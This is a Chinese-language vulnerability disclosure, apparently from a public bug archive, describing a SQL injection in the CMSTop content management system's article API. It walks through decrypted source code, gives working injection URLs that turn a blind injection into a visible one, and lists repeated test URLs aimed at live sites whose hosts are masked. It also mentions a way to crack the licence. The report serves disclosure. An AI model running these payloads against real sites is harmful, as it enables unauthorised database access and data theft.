### 简要描述:
cmstop SQL注入
### 详细说明:
0x01:介绍
目前已服务了300多家网站,客户遍及全国30个省市,覆盖报业、杂志、广电、网媒、政府、军队和高校等多个领域,其中代表性客户包括中纪委、新华社、人民日报社、CCTV、湖北广电、中青网、千龙网、财经网、参考消息、美国侨报、ELLE和瑞丽等
0x02:分析
问题出在api这个接口当中,cmstop为闭源系统,代码已经过zend加密,并且各模块进行严格封装。。。
一次偶然的机会截获了一份代码,并解密,取出其中代码进行分析,发现一处SQL注入漏洞并发现可绕过限制对其算法进行破解(如授权限制)。。
在apps\article\controller\api\article.php中
```
class controller_api_article extends api_controller_abstract
{
private $article = NULL;
public function __construct( $app )
{
$FN_-2147483646( $app );
$this->article = loader::model( "admin/article" );
}
public function get( )
{
$contentid = value( $_GET, "contentid", 0 );
if ( !$contentid )
{
$result = array( "state" => FALSE, "error" => "内容编号错误" );
}
else
{
$data = $this->article->get( $contentid, "*", "show" );
if ( $data )
{
foreach ( array( "status_old", "unpublished", "unpublishedby", "modified", "modifiedby", "checked", "checkedby", "locked", "lockedby", "noted", "notedby", "note", "workflow_step", "workflow_roleid", "placeid", "saveremoteimage" ) as $field )
{
unset( $data[$field] );
}
}
$result = array(
"state" => TRUE,
"data" => $data
);
}
echo json_encode( $result );
}
```
跟踪\public\api\abstract.php(初始化抽象类)
```
public function __construct( $app )
{
$FN_-2147483646( $app );
$this->config = config::get( "config" );
$this->setting = setting::get( $app->app );
$this->system = setting::get( "system" );
$this->json = factory::json( );
$this->cache = factory::cache( );
$this->auth_key = $this->get_key( );
if ( !$this->auth_key )
{
$this->showmessage( "KEY获取失败" );
}
$this->auth_sign = $this->get_sign( );
if ( !$this->auth_sign )
{
$this->showmessage( "SIGN签名获取失败" );
}
$this->auth_secret = $this->get_secret( $this->auth_key );
```
跟踪$this->get_key( )
```
protected function get_key( )
{
$key = isset( $_GET['key'] ) ? $_GET['key'] : "";
if ( !$key )
{
$key = isset( $_POST['key'] ) ? $_POST['key'] : "";
}
return $key;
}
```
直接get方式传入
$this->auth_key 进入get_secret方法
```
protected function get_secret( $key )
{
$userinfo = $this->get_userinfo( $key );
return $userinfo['auth_secret'];
}
```
又进入get_userinfo
```
protected function get_userinfo( $key )
{
$_key = "api_userinfo_".$key;
$userinfo = $this->cache->get( $_key );
if ( !$userinfo )
{
$openauth = loader::model( "admin/openauth", "system" );
$userinfo = $openauth->get( "auth_key='{$key}' AND disabled=0" );
if ( !$userinfo )
{
return FALSE;
}
$user_model = loader::model( "admin/admin", "system" );
$a = $user_model->login( $userinfo['userid'] );
if ( !$a )
{
return FALSE;
}
$userinfo = array_merge( $userinfo, $a );
$user_model = loader::model( "member", "member" );
$a = $user_model->get( $userinfo['userid'], "groupid" );
if ( !$a )
{
return FALSE;
}
$userinfo = array_merge( $userinfo, $a );
$this->cache->set( $_key, $userinfo );
}
return $userinfo;
```
其中$key又进入了openauth类当中的get方法
apps\system\model\admin\openauth.php
继续父类model.php
```
public function get( $where = NULL, $fields = "*", $order = NULL )
{
return $this->select( $where, $fields, $order, NULL, NULL, array( ), FALSE );
}
```
//$userinfo = $openauth->get( "auth_key='{$key}' AND disabled=0" );
进入select查询,造成SQL注入。。。
但是这是一个不是回显的注入漏洞,如何把他变成回显呢?
例如,我们直接访问
http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20and%201=1--+a&sign=3333&contentid=1
和http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20and%201=12--+a&sign=3333&contentid=1
没有任何区别。。。使用sqlmap也没法很好的判断(除非时间盲注)
我们在后面加入or 1=1 使前面成立,将数据进行输出,造成回显,这样就达到了我们的目的了。。
如http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20or%201=1%20and%201=1--+a&sign=3333&contentid=1
[<img src="https://images.seebug.org/upload/201512/01112127652d7480770a4a098763dadda4d154fc.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/01112127652d7480770a4a098763dadda4d154fc.png)
http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20or%201=1%20and%201=21--+a&sign=3333&contentid=1
[<img src="https://images.seebug.org/upload/201512/0111213910759092a3f701327fe2e5113c4085ce.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/0111213910759092a3f701327fe2e5113c4085ce.png)
并且可以直接用sqlmap跑出数据了。。。
提供以下案例测试:
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
### 漏洞证明:
提供以下案例测试:
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
暂无评论